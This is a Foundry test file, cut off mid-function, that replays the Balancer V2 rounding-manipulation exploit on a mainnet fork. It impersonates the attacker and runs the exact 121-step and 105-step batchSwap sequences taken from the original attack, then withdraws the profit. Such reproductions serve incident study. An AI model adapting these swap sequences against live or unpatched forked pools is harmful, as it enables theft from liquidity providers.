|
// SPDX-License-Identifier: UNLICENSED |
|
pragma solidity ^0.8.30; |
|
|
|
import "forge-std/Test.sol"; |
|
import "../interface.sol"; |
|
|
|
/* |
|
@KeyInfo |
|
- Total Lost: ≈$128 M |
|
- Attacker: https://etherscan.io/address/0x506D1f9EFe24f0d47853aDca907EB8d89AE03207 |
|
- Vulnerable Contracts: https://etherscan.io/address/0xDACf5Fa19b1f720111609043ac67A9818262850c (applicable to all Balancer V2 composable stable pools and many forks) |
|
- Attack Tx: https://etherscan.io/tx/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742 (manipulation tx) |
|
- Attack Tx: https://etherscan.io/tx/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569 (extraction tx) |
|
|
|
@Info |
|
- This test recreates the attacker's flow by replaying the exact `batchSwap` |
|
legs extracted from the original attack transaction. The sequence first |
|
executes two manipulation phases: |
|
• Phase 1: 121 swaps on osETH/WETH pool (accumulate WETH, osETH, BPT_osETH) |
|
• Phase 2: 105 swaps on wstETH/WETH pool (accumulate wstETH, WETH, BPT_wstETH) |
|
Both phases exploit rounding errors to generate profit. |
|
The reproduction operates entirely through the Vault's internal balance |
|
system—mirroring the original call trace—and finally withdraws all |
|
accumulated assets to demonstrate the net profit. |
|
|
|
@Attack Overview |
|
- The attack exploits down-rounding in Balancer V2's stable math (`_calcOutGivenIn`) |
|
to systematically bias the pool's invariant (D) downward over many iterations. |
|
- Each small swap causes a tiny rounding error that accumulates across 121 steps. |
|
- The biased invariant leads to mispriced BPT, allowing profitable extraction. |
|
- Total profit: ~6,587 WETH, ~6,851 osETH, ~44 BPT_osETH, ~4,259 wstETH, ~20 BPT_wstETH (~$128M) |
|
*/ |
|
contract Balancer_20251103_Exp is Test { |
|
IBalancerVault private constant vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); |
|
|
|
// Pool 0: osETH/WETH composable stable pool (also the BPT token) |
|
IBalancerPool private constant POOL_0 = IBalancerPool(0xDACf5Fa19b1f720111609043ac67A9818262850c); |
|
IERC20 private constant BPT_OSETH = IERC20(0xDACf5Fa19b1f720111609043ac67A9818262850c); |
|
|
|
// Pool 1: wstETH/WETH composable stable pool (also the BPT_WSTETH token) |
|
IBalancerPool private constant POOL_1 = IBalancerPool(0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD); |
|
IERC20 private constant BPT_WSTETH = IERC20(0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD); |
|
|
|
WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); |
|
IERC20 private constant osETH = IERC20(0xf1C9acDc66974dFB6dEcB12aA385b9cD01190E38); |
|
IERC20 private constant wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0); |
|
|
|
address private constant ATTACKER = 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d; |
|
|
|
bytes32 private constant POOL_ID_0 = 0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635; |
|
bytes32 private constant POOL_ID_1 = 0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2; |
|
|
|
function setUp() public { |
|
vm.label(address(vault), "BalancerVault"); |
|
vm.label(address(POOL_0), "Pool0:osETH/WETH"); |
|
vm.label(address(POOL_1), "Pool1:wstETH/WETH"); |
|
vm.label(address(WETH), "WETH"); |
|
vm.label(address(osETH), "osETH"); |
|
vm.label(address(wstETH), "wstETH"); |
|
vm.label(address(BPT_OSETH), "BPT_osETH"); |
|
vm.label(address(BPT_WSTETH), "BPT_wstETH"); |
|
} |
|
|
|
function testExploit() public { |
|
vm.createSelectFork("mainnet", 23_717_390); // Block 23717390: original attack block |
|
|
|
emit log(""); |
|
emit log(unicode"╔═══════════════════════════════════════════════════════════════╗"); |
|
emit log(unicode"║ Balancer V2 Rate Manipulation Exploit Reproduction (~$128M) ║"); |
|
emit log(unicode"╚═══════════════════════════════════════════════════════════════╝"); |
|
emit log(unicode" ┌─ Exploit Execution Flow:"); |
|
|
|
uint256 initialWeth = IERC20(address(WETH)).balanceOf(ATTACKER); |
|
uint256 initialOsETH = osETH.balanceOf(ATTACKER); |
|
uint256 initialBpt = BPT_OSETH.balanceOf(ATTACKER); |
|
uint256 initialWstETH = wstETH.balanceOf(ATTACKER); |
|
uint256 initialBptWstETH = BPT_WSTETH.balanceOf(ATTACKER); |
|
|
|
// Log initial external balances |
|
emit log(unicode" ├─ Attacker Initial State:"); |
|
emit log(unicode" │ ├─ External Balances:"); |
|
emit log_named_decimal_uint(unicode" │ │ ├─ WETH", initialWeth, 18); |
|
emit log_named_decimal_uint(unicode" │ │ ├─ osETH", initialOsETH, 18); |
|
emit log_named_decimal_uint(unicode" │ │ ├─ wstETH", initialWstETH, 18); |
|
emit log_named_decimal_uint(unicode" │ │ ├─ BPT_osETH", initialBpt, 18); |
|
emit log_named_decimal_uint(unicode" │ │ └─ BPT_wstETH", initialBptWstETH, 18); |
|
|
|
uint256 initialInvariant0 = _logPoolState("Initial osETH/WETH Pool", POOL_ID_0); |
|
|
|
// Phase 1: Manipulate osETH/WETH pool (accumulate WETH, osETH, BPT_osETH) |
|
_logPhaseHeader("Phase 1", "Manipulate osETH/WETH Pool (121 steps)"); |
|
_logInternalBalances(); |
|
(IBalancerVault.BatchSwapStep[] memory primeSteps, address[] memory primeAssets) = _buildManipulationBatch(); |
|
_logStepwiseDeltas(primeSteps, primeAssets, "Phase1"); |
|
_executeGivenOut(primeSteps, primeAssets); |
|
uint256 postPhase1Invariant0 = _logPoolState("Post-Phase1 osETH/WETH Pool", POOL_ID_0); |
|
|
|
// Show invariant drift from Phase 1 manipulation |
|
if (postPhase1Invariant0 < initialInvariant0) { |
|
emit log(unicode" │ ⚠️ Pool 0 Invariant Drift:"); |
|
emit log_named_decimal_uint(unicode" │ └─ Decreased by", initialInvariant0 - postPhase1Invariant0, 18); |
|
} |
|
|
|
// Phase 2: Manipulate wstETH/WETH pool (accumulate wstETH, WETH, BPT_wstETH) |
|
_logPhaseHeader("Phase 2", "Manipulate wstETH/WETH Pool (105 steps)"); |
|
_logInternalBalances(); |
|
uint256 initialInvariant1 = _logPoolState("Pre-Phase2 wstETH/WETH Pool", POOL_ID_1); |
|
(IBalancerVault.BatchSwapStep[] memory unwindSteps, address[] memory unwindAssets) = _buildUnwindBatch(); |
|
_logStepwiseDeltas(unwindSteps, unwindAssets, "Phase2"); |
|
_executeGivenOut(unwindSteps, unwindAssets); |
|
uint256 postPhase2Invariant1 = _logPoolState("Post-Phase2 wstETH/WETH Pool", POOL_ID_1); |
|
|
|
// Show invariant drift from Phase 2 manipulation |
|
if (postPhase2Invariant1 < initialInvariant1) { |
|
emit log(unicode" │ ⚠️ Pool 1 Invariant Drift:"); |
|
emit log_named_decimal_uint(unicode" │ └─ Decreased by", initialInvariant1 - postPhase2Invariant1, 18); |
|
} |
|
|
|
|
|
// Phase 3: Withdraw all internal balances to realize profit |
|
_logPhaseHeader("Phase 3", "Withdraw Internal Balances"); |
|
_logInternalBalances(); |
|
_withdrawInternalBalances(); |
|
|
|
uint256 finalWeth = IERC20(address(WETH)).balanceOf(ATTACKER); |
|
uint256 finalOsETH = osETH.balanceOf(ATTACKER); |
|
uint256 finalBpt = BPT_OSETH.balanceOf(ATTACKER); |
|
uint256 finalWstETH = wstETH.balanceOf(ATTACKER); |
|
uint256 finalBptWstETH = BPT_WSTETH.balanceOf(ATTACKER); |
|
|
|
_logFinalProfits( |
|
initialWeth, initialOsETH, initialBpt, initialWstETH, initialBptWstETH, finalWeth, finalOsETH, finalBpt, finalWstETH, finalBptWstETH |
|
); |
|
} |
|
|
|
/// @notice Executes a batch of swaps in GIVEN_OUT mode via the Balancer Vault |
|
/// @dev All swaps use internal balance to avoid external token transfers during the attack |
|
/// @param steps Array of swap steps defining the batch swap sequence |
|
/// @param assets Array of token addresses involved in the swaps |
|
/// @return deltas Net balance changes for each asset (negative = spend, positive = receive) |
|
function _executeGivenOut( |
|
IBalancerVault.BatchSwapStep[] memory steps, |
|
address[] memory assets |
|
) internal returns (int256[] memory deltas) { |
|
int256[] memory limits = new int256[](assets.length); |
|
for (uint256 i = 0; i < assets.length; ++i) { |
|
limits[i] = type(int256).max; |
|
} |
|
vm.startPrank(ATTACKER); |
|
deltas = vault.batchSwap( |
|
IBalancerVault.SwapKind.GIVEN_OUT, |
|
steps, |
|
assets, |
|
IBalancerVault.FundManagement({ |
|
sender: ATTACKER, |
|
fromInternalBalance: false, |
|
recipient: payable(ATTACKER), |
|
toInternalBalance: true |
|
}), |
|
limits, |
|
block.timestamp |
|
); |
|
vm.stopPrank(); |
|
} |
|
|
|
/// @notice Withdraws all non-zero internal balances from the Balancer Vault |
|
/// @dev Dynamically builds withdrawal operations for only non-zero balances |
|
function _withdrawInternalBalances() internal { |
|
IERC20[] memory tokens = new IERC20[](5); |
|
tokens[0] = IERC20(address(WETH)); |
|
tokens[1] = osETH; |
|
tokens[2] = BPT_OSETH; |
|
tokens[3] = wstETH; |
|
tokens[4] = BPT_WSTETH; |
|
|
|
uint256[] memory balances = vault.getInternalBalance(ATTACKER, tokens); |
|
uint256 count; |
|
for (uint256 i = 0; i < balances.length; ++i) { |
|
if (balances[i] > 0) { |
|
++count; |
|
} |
|
} |
|
if (count == 0) return; |
|
|
|
IBalancerVault.UserBalanceOp[] memory ops = new IBalancerVault.UserBalanceOp[](count); |
|
uint256 idx; |
|
for (uint256 i = 0; i < balances.length; ++i) { |
|
uint256 bal = balances[i]; |
|
if (bal == 0) continue; |
|
ops[idx++] = IBalancerVault.UserBalanceOp({ |
|
kind: IBalancerVault.UserBalanceOpKind.WITHDRAW_INTERNAL, |
|
asset: address(tokens[i]), |
|
amount: bal, |
|
sender: ATTACKER, |
|
recipient: payable(ATTACKER) |
|
}); |
|
} |
|
vm.prank(ATTACKER); |
|
vault.manageUserBalance(ops); |
|
} |
|
|
|
/// @notice Logs the current state of the osETH/WETH pool including balances and invariant |
|
/// @param label Descriptive label for this state snapshot |
|
/// @return invariant The calculated pool invariant |
|
function _logPoolState(string memory label, bytes32 poolId) internal returns (uint256 invariant) { |
|
address pool = poolId == POOL_ID_0 ? address(POOL_0) : address(POOL_1); |
|
(, uint256[] memory balances,) = vault.getPoolTokens(poolId); |
|
uint256 sum; |
|
for (uint256 i = 0; i < balances.length; ++i) { |
|
sum += balances[i]; |
|
} |
|
|
|
emit log(string.concat(unicode" ├─ ", label, " Pool State")); |
|
emit log_named_uint(unicode" │ ├─ Balance Sum", sum); |
|
|
|
// Get scaled balances for invariant calculation |
|
uint256[] memory scaledBalances; |
|
try IComposableStablePool(pool).getScalingFactors() returns (uint256[] memory scalings) { |
|
scaledBalances = new uint256[](balances.length); |
|
uint256 scaled; |
|
uint256 len = scalings.length < balances.length ? scalings.length : balances.length; |
|
for (uint256 i = 0; i < len; ++i) { |
|
scaledBalances[i] = (balances[i] * scalings[i]) / 1e18; |
|
scaled += scaledBalances[i]; |
|
} |
|
emit log_named_uint(unicode" │ ├─ Scaled Sum", scaled); |
|
} catch { |
|
scaledBalances = balances; // Fallback to raw balances |
|
} |
|
|
|
// Calculate invariant D using stable math approximation |
|
invariant = _calculateInvariant(scaledBalances, pool); |
|
emit log_named_uint(unicode" │ └─ Invariant (D)", invariant); |
|
} |
|
|
|
/// @notice Simplified invariant calculation for composable stable pools |
|
/// @dev This is an approximation - the real calculation is iterative |
|
function _calculateInvariant( |
|
uint256[] memory balances, |
|
address pool |
|
) internal view returns (uint256) { |
|
if (balances.length == 0) return 0; |
|
|
|
// For composable pools, skip the BPT balance (index 0) |
|
uint256 sum = 0; |
|
uint256 numTokens = 0; |
|
for (uint256 i = 1; i < balances.length; i++) { |
|
if (balances[i] > 0) { |
|
sum += balances[i]; |
|
numTokens++; |
|
} |
|
} |
|
|
|
if (numTokens == 0) return 0; |
|
|
|
// Get amplification parameter |
|
uint256 amp = 5000; // Default fallback |
|
try IComposableStablePool(pool).getAmplificationParameter() returns ( |
|
uint256 value, bool, uint256 precision |
|
) { |
|
amp = value / precision; |
|
} catch {} |
|
|
|
// Simplified invariant: D ≈ sum of balances (when balanced) |
|
// For more accuracy, we'd need the full Newton-Raphson iteration |
|
// This gives us a reasonable approximation for logging purposes |
|
uint256 d = sum; |
|
|
|
// Apply amplification adjustment (simplified) |
|
// Real formula: D = (A * n^n * S + D^(n+1)/(n^n*P)) / (A * n^n - 1 + D^n/(n^(n-1)*P)) |
|
// We use a simpler approximation: D ≈ S * (1 + adjustmentFactor) |
|
if (amp > 0 && numTokens > 1) { |
|
// Small adjustment based on imbalance |
|
d = (d * (10_000 + amp / 100)) / 10_000; |
|
} |
|
|
|
return d; |
|
} |
|
|
|
/// @notice Builds the 121-step batch for Phase 1: osETH/WETH pool manipulation |
|
/// @dev Decoded from the original attack transaction. Exploits rounding errors to |
|
/// accumulate WETH, osETH, and BPT in internal balance with zero capital. |
|
/// @return steps Array of 121 BatchSwapStep structs |
|
/// @return assets Array of assets involved: [WETH, BPT_osETH, osETH] |
|
function _buildManipulationBatch() |
|
internal |
|
pure |
|
returns (IBalancerVault.BatchSwapStep[] memory steps, address[] memory assets) |
|
{ |
|
bytes32 poolId = POOL_ID_0; |
|
|
|
// Build asset indices dynamically: pattern is (1→0, 1→2) repeated, then special sequences |
|
steps = new IBalancerVault.BatchSwapStep[](121); |
|
uint8[121] memory assetInIdx = [ |
|
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, |
|
1, 1, 1, 1, 1, 1, 1, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 0, 0, 2, 0, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, |
|
0 |
|
]; |
|
uint8[121] memory assetOutIdx = [ |
|
0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, |
|
2, 0, 2, 0, 2, 0, 2, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 2, 2, 0, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, |
|
1 |
|
]; |
|
uint256[] memory amounts = new uint256[](121); |
|
amounts[0] = 4_873_132_999_218_408_001_625; |
|
amounts[1] = 6_783_065_423_678_905_706_961; |
|
amounts[2] = 48_731_329_992_184_080_017; |
|
amounts[3] = 67_830_654_236_789_057_069; |
|
amounts[4] = 487_313_299_921_840_800; |
|
amounts[5] = 678_306_542_367_890_571; |
|
amounts[6] = 4_873_132_999_218_408; |
|
amounts[7] = 6_783_065_423_678_906; |
|
amounts[8] = 48_731_329_992_184; |
|
amounts[9] = 67_830_654_236_789; |
|
amounts[10] = 487_313_299_922; |
|
amounts[11] = 678_306_542_367; |
|
amounts[12] = 4_873_132_999; |
|
amounts[13] = 6_783_065_424; |
|
amounts[14] = 48_731_330; |
|
amounts[15] = 67_830_654; |
|
amounts[16] = 487_313; |
|
amounts[17] = 678_307; |
|
amounts[18] = 4873; |
|
amounts[19] = 6783; |
|
amounts[20] = 50; |
|
amounts[21] = 69; |
|
amounts[22] = 66_982; |
|
amounts[23] = 17; |
|
amounts[24] = 891_000; |
|
amounts[25] = 5165; |
|
amounts[26] = 17; |
|
amounts[27] = 666_000; |
|
amounts[28] = 9016; |
|
amounts[29] = 17; |
|
amounts[30] = 495_000; |
|
amounts[31] = 12_206; |
|
amounts[32] = 17; |
|
amounts[33] = 369_000; |
|
amounts[34] = 17_532; |
|
amounts[35] = 17; |
|
amounts[36] = 270_000; |
|
amounts[37] = 14_434; |
|
amounts[38] = 17; |
|
amounts[39] = 198_000; |
|
amounts[40] = 11_377; |
|
amounts[41] = 17; |
|
amounts[42] = 160_000; |
|
amounts[43] = 22_554; |
|
amounts[44] = 17; |
|
amounts[45] = 120_000; |
|
amounts[46] = 17_663; |
|
amounts[47] = 17; |
|
amounts[48] = 89_100; |
|
amounts[49] = 12_038; |
|
amounts[50] = 17; |
|
amounts[51] = 67_500; |
|
amounts[52] = 10_414; |
|
amounts[53] = 17; |
|
amounts[54] = 52_200; |
|
amounts[55] = 9007; |
|
amounts[56] = 17; |
|
amounts[57] = 40_500; |
|
amounts[58] = 7867; |
|
amounts[59] = 17; |
|
amounts[60] = 31_500; |
|
amounts[61] = 6554; |
|
amounts[62] = 17; |
|
amounts[63] = 24_300; |
|
amounts[64] = 5472; |
|
amounts[65] = 17; |
|
amounts[66] = 19_800; |
|
amounts[67] = 4749; |
|
amounts[68] = 17; |
|
amounts[69] = 16_200; |
|
amounts[70] = 4397; |
|
amounts[71] = 17; |
|
amounts[72] = 12_600; |
|
amounts[73] = 3442; |
|
amounts[74] = 17; |
|
amounts[75] = 10_800; |
|
amounts[76] = 3296; |
|
amounts[77] = 17; |
|
amounts[78] = 9000; |
|
amounts[79] = 2886; |
|
amounts[80] = 17; |
|
amounts[81] = 7371; |
|
amounts[82] = 2286; |
|
amounts[83] = 17; |
|
amounts[84] = 6480; |
|
amounts[85] = 2124; |
|
amounts[86] = 17; |
|
amounts[87] = 6075; |
|
amounts[88] = 2014; |
|
amounts[89] = 17; |
|
amounts[90] = 5589; |
|
amounts[91] = 1902; |
|
amounts[92] = 17; |
|
amounts[93] = 4779; |
|
amounts[94] = 1730; |
|
amounts[95] = 17; |
|
amounts[96] = 4455; |
|
amounts[97] = 1664; |
|
amounts[98] = 17; |
|
amounts[99] = 3969; |
|
amounts[100] = 1562; |
|
amounts[101] = 17; |
|
amounts[102] = 3726; |
|
amounts[103] = 1492; |
|
amounts[104] = 17; |
|
amounts[105] = 3645; |
|
amounts[106] = 1484; |
|
amounts[107] = 17; |
|
amounts[108] = 3564; |
|
amounts[109] = 1444; |
|
amounts[110] = 17; |
|
amounts[111] = 3564; |
|
amounts[112] = 10_000; |
|
amounts[113] = 10_000_000; |
|
amounts[114] = 10_000_000_000; |
|
amounts[115] = 10_000_000_000_000; |
|
amounts[116] = 10_000_000_000_000_000; |
|
amounts[117] = 10_000_000_000_000_000_000; |
|
amounts[118] = 10_000_000_000_000_000_000_000; |
|
amounts[119] = 941_319_322_493_191_942_754; |
|
amounts[120] = 941_319_322_493_191_942_754; |
|
|
|
steps = new IBalancerVault.BatchSwapStep[](121); |
|
for (uint256 i = 0; i < steps.length; ++i) { |
|
steps[i] = IBalancerVault.BatchSwapStep({ |
|
poolId: poolId, |
|
assetInIndex: assetInIdx[i], |
|
assetOutIndex: assetOutIdx[i], |
|
amount: amounts[i], |
|
userData: bytes("") |
|
}); |
|
} |
|
|
|
assets = new address[](3); |
|
assets[0] = address(WETH); |
|
assets[1] = address(BPT_OSETH); |
|
assets[2] = address(osETH); |
|
} |
|
|
|
/// @notice Builds the 105-step batch for Phase 2: wstETH/WETH pool manipulation |
|
/// @dev Decoded from the original attack transaction. Exploits rounding errors to |
|
/// accumulate wstETH, WETH, and BPT_WSTETH in internal balance. |
|
/// @return steps Array of 105 BatchSwapStep structs |
|
/// @return assets Array of assets involved: [wstETH, BPT_wstETH, WETH] |
|
function _buildUnwindBatch() |
|
internal |
|
pure |
|
returns (IBalancerVault.BatchSwapStep[] memory steps, address[] memory assets) |
|
{ |
|
bytes32 poolId = POOL_ID_1; |
|
uint8[105] memory assetInIdx = [ |
|
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, |
|
1, 1, 1, 1, 1, 1, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, |
|
2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, |
|
2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, |
|
2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, |
|
0, 0, 2, 0, 2, 0, 2, 0, 2 |
|
]; |
|
uint8[105] memory assetOutIdx = [ |
|
0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, |
|
0, 2, 0, 2, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, |
|
0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, |
|
0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, |
|
0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, |
|
2, 1, 1, 1, 1, 1, 1, 1, 1 |
|
]; |
|
uint256[] memory amounts = new uint256[](105); |
|
amounts[0] = 4_228_132_612_127_881_562_978; |
|
amounts[1] = 1_957_287_132_413_516_128_516; |
|
amounts[2] = 42_281_326_121_278_815_630; |
|
amounts[3] = 19_572_871_324_135_161_285; |
|
amounts[4] = 422_813_261_212_788_156; |
|
amounts[5] = 195_728_713_241_351_613; |
|
amounts[6] = 4_228_132_612_127_882; |
|
amounts[7] = 1_957_287_132_413_516; |
|
amounts[8] = 42_281_326_121_278; |
|
amounts[9] = 19_572_871_324_136; |
|
amounts[10] = 422_813_261_213; |
|
amounts[11] = 195_728_713_241; |
|
amounts[12] = 4_228_132_612; |
|
amounts[13] = 1_957_287_132; |
|
amounts[14] = 42_281_326; |
|
amounts[15] = 19_572_872; |
|
amounts[16] = 422_814; |
|
amounts[17] = 195_728; |
|
amounts[18] = 4228; |
|
amounts[19] = 1958; |
|
amounts[20] = 43; |
|
amounts[21] = 20; |
|
amounts[22] = 99_999_999_995; |
|
amounts[23] = 4; |
|
amounts[24] = 380_000_000_000_000; |
|
amounts[25] = 6665; |
|
amounts[26] = 4; |
|
amounts[27] = 270_000_000_000_000; |
|
amounts[28] = 6528; |
|
amounts[29] = 4; |
|
amounts[30] = 190_000_000_000_000; |
|
amounts[31] = 2477; |
|
amounts[32] = 4; |
|
amounts[33] = 130_000_000_000_000; |
|
amounts[34] = 297; |
|
amounts[35] = 4; |
|
amounts[36] = 97_000_000_000_000; |
|
amounts[37] = 47_546; |
|
amounts[38] = 4; |
|
amounts[39] = 70_000_000_000_000; |
|
amounts[40] = 301_296; |
|
amounts[41] = 4; |
|
amounts[42] = 50_000_000_000_000; |
|
amounts[43] = 9419; |
|
amounts[44] = 4; |
|
amounts[45] = 36_000_000_000_000; |
|
amounts[46] = 3_493_484; |
|
amounts[47] = 4; |
|
amounts[48] = 26_000_000_000_000; |
|
amounts[49] = 1157; |
|
amounts[50] = 4; |
|
amounts[51] = 18_000_000_000_000; |
|
amounts[52] = 341; |
|
amounts[53] = 4; |
|
amounts[54] = 13_000_000_000_000; |
|
amounts[55] = 670; |
|
amounts[56] = 4; |
|
amounts[57] = 9_500_000_000_000; |
|
amounts[58] = 10_201; |
|
amounts[59] = 4; |
|
amounts[60] = 6_210_000_000_000; |
|
amounts[61] = 81; |
|
amounts[62] = 4; |
|
amounts[63] = 4_900_000_000_000; |
|
amounts[64] = 9846; |
|
amounts[65] = 4; |
|
amounts[66] = 3_500_000_000_000; |
|
amounts[67] = 4546; |
|
amounts[68] = 4; |
|
amounts[69] = 2_500_000_000_000; |
|
amounts[70] = 17_520; |
|
amounts[71] = 4; |
|
amounts[72] = 1_700_000_000_000; |
|
amounts[73] = 292; |
|
amounts[74] = 4; |
|
amounts[75] = 1_200_000_000_000; |
|
amounts[76] = 220; |
|
amounts[77] = 4; |
|
amounts[78] = 840_000_000_000; |
|
amounts[79] = 46_307; |
|
amounts[80] = 4; |
|
amounts[81] = 600_000_000_000; |
|
amounts[82] = 37_215; |
|
amounts[83] = 4; |
|
amounts[84] = 430_000_000_000; |
|
amounts[85] = 620_177_448; |
|
amounts[86] = 4; |
|
amounts[87] = 310_000_000_000; |
|
amounts[88] = 21_591; |
|
amounts[89] = 4; |
|
amounts[90] = 220_000_000_000; |
|
amounts[91] = 671; |
|
amounts[92] = 4; |
|
amounts[93] = 160_000_000_000; |
|
amounts[94] = 7038; |
|
amounts[95] = 4; |
|
amounts[96] = 110_000_000_000; |
|
amounts[97] = 10_000; |
|
amounts[98] = 10_000_000; |
|
amounts[99] = 10_000_000_000; |
|
amounts[100] = 10_000_000_000_000; |
|
amounts[101] = 10_000_000_000_000_000; |
|
amounts[102] = 10_000_000_000_000_000_000; |
|
amounts[103] = 3_418_009_626_758_926_269_710; |
|
amounts[104] = 3_418_009_626_758_926_269_710; |
|
|
|
steps = new IBalancerVault.BatchSwapStep[](105); |
|
for (uint256 i = 0; i < steps.length; ++i) { |
|
steps[i] = IBalancerVault.BatchSwapStep({ |
|
poolId: poolId, |
|
assetInIndex: assetInIdx[i], |
|
assetOutIndex: assetOutIdx[i], |
|
amount: amounts[i], |
|
userData: bytes("") |
|
}); |
|
} |
|
|
|
assets = new address[](3); |
|
assets[0] = address(wstETH); |
|
assets[1] = address(BPT_WSTETH); |
|
assets[2] = address(WETH); |
|
} |
|
|
|
/// @notice Helper to extract the first n steps from a batch |
|
/// @dev Used by _logStepwiseDeltas to query cumulative effects of partial batches |
|
function _prefixSteps( |
|
IBalancerVault.BatchSwapStep[] memory steps, |
|
uint256 n |
|
) internal pure returns (IBalancerVault.BatchSwapStep[] memory out) { |
|
out = new IBalancerVault.BatchSwapStep[](n); |
|
for (uint256 i = 0; i < n; ++i) { |
|
out[i] = steps[i]; |
|
} |
|
} |
|
|
|
function _assetLabel( |
|
address a |
|
) internal pure returns (string memory) { |
|
return string.concat(_nameOnly(a), unicode" Δ"); |
|
} |
|
|
|
function _abs( |
|
int256 x |
|
) internal pure returns (uint256) { |
|
return uint256(x >= 0 ? x : -x); |
|
} |
|
|
|
function _nameOnly( |
|
address a |
|
) internal pure returns (string memory) { |
|
if (a == address(WETH)) return "WETH"; |
|
if (a == address(BPT_OSETH)) return "BPT_osETH"; |
|
if (a == address(osETH)) return "osETH"; |
|
if (a == address(wstETH)) return "wstETH"; |
|
if (a == address(BPT_WSTETH)) return "BPT_wstETH"; |
|
return "asset"; |
|
} |
|
|
|
/// @notice Logs incremental balance deltas for each step in a batch swap |
|
/// @dev Queries each prefix (steps 1..i) to show cumulative effects and compute incremental changes |
|
/// @param steps The full batch swap sequence |
|
/// @param assets The asset array for the batch |
|
function _logStepwiseDeltas( |
|
IBalancerVault.BatchSwapStep[] memory steps, |
|
address[] memory assets, |
|
string memory |
|
) internal { |
|
int256[] memory prev = new int256[](assets.length); |
|
|
|
emit log(string.concat(unicode" │ ├─ Batch Swap (", vm.toString(steps.length), " steps)")); |
|
|
|
for (uint256 i = 1; i <= steps.length; ++i) { |
|
IBalancerVault.BatchSwapStep memory s = steps[i - 1]; |
|
IBalancerVault.BatchSwapStep[] memory pref = _prefixSteps(steps, i); |
|
IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({ |
|
sender: ATTACKER, |
|
fromInternalBalance: false, |
|
recipient: payable(ATTACKER), |
|
toInternalBalance: true |
|
}); |
|
try vault.queryBatchSwap(IBalancerVault.SwapKind.GIVEN_OUT, pref, assets, funds) returns ( |
|
int256[] memory cum |
|
) { |
|
string memory inName = _nameOnly(assets[s.assetInIndex]); |
|
string memory outName = _nameOnly(assets[s.assetOutIndex]); |
|
emit log(string.concat(unicode" │ │ ├─ Step ", vm.toString(i), ": Swap ", inName, unicode" → ", outName, " (", vm.toString(s.amount), " wei)")); |
|
|
|
for (uint256 j2 = 0; j2 < assets.length; ++j2) { |
|
prev[j2] = cum[j2]; |
|
} |
|
} catch { |
|
emit log(string.concat(unicode" │ │ └─ ❌ Reverted at step ", vm.toString(i))); |
|
break; |
|
} |
|
} |
|
|
|
// Net summary |
|
emit log(unicode" │ └─┬─ Net Cumulative Deltas:"); |
|
for (uint256 j = 0; j < assets.length; ++j) { |
|
string memory name = _assetLabel(assets[j]); |
|
string memory branch = (j + 1 == assets.length) ? unicode" └─ " : unicode" ├─ "; |
|
emit log_named_decimal_int(string.concat(unicode" │ ", branch, name), prev[j], 18); |
|
} |
|
} |
|
|
|
/// @notice Logs a phase header |
|
function _logPhaseHeader(string memory phase, string memory description) internal { |
|
emit log(unicode" │"); |
|
emit log(string.concat(unicode" ├─ ", phase, ": ", description)); |
|
} |
|
|
|
/// @notice Logs internal balances before withdrawal |
|
function _logInternalBalances() internal { |
|
IERC20[] memory tokens = new IERC20[](5); |
|
tokens[0] = IERC20(address(WETH)); |
|
tokens[1] = osETH; |
|
tokens[2] = BPT_OSETH; |
|
tokens[3] = wstETH; |
|
tokens[4] = BPT_WSTETH; |
|
|
|
uint256[] memory balances = vault.getInternalBalance(ATTACKER, tokens); |
|
|
|
emit log(unicode" │ ├─ Internal Balances (Vault):"); |
|
